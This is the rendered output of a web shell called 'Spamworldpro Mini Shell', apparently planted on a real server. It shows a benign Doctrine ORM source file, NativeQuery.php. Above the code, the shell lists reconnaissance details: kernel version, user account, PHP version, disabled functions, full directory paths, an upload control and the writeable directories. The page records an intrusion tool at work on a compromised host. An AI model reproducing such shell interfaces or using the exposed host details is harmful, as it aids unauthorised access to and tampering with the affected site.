Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/mautic.corals.io/vendor/doctrine/orm/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/mautic.corals.io/vendor/doctrine/orm/src/NativeQuery.php
<?php

declare(strict_types=1);

namespace Doctrine\ORM;

use function array_values;
use function is_int;
use function key;
use function ksort;

/**
 * Represents a native SQL query.
 *
 * @final
 */
class NativeQuery extends AbstractQuery
{
    /** @var string */
    private $sql;

    /**
     * Sets the SQL of the query.
     *
     * @param string $sql
     *
     * @return $this
     */
    public function setSQL($sql): self
    {
        $this->sql = $sql;

        return $this;
    }

    /**
     * Gets the SQL query.
     */
    public function getSQL(): string
    {
        return $this->sql;
    }

    /**
     * {@inheritDoc}
     */
    protected function _doExecute()
    {
        $parameters = [];
        $types      = [];

        foreach ($this->getParameters() as $parameter) {
            $name  = $parameter->getName();
            $value = $this->processParameterValue($parameter->getValue());
            $type  = $parameter->getValue() === $value
                ? $parameter->getType()
                : Query\ParameterTypeInferer::inferType($value);

            $parameters[$name] = $value;
            $types[$name]      = $type;
        }

        if ($parameters && is_int(key($parameters))) {
            ksort($parameters);
            ksort($types);

            $parameters = array_values($parameters);
            $types      = array_values($types);
        }

        return $this->_em->getConnection()->executeQuery(
            $this->sql,
            $parameters,
            $types,
            $this->_queryCacheProfile
        );
    }
}

Spamworldpro Mini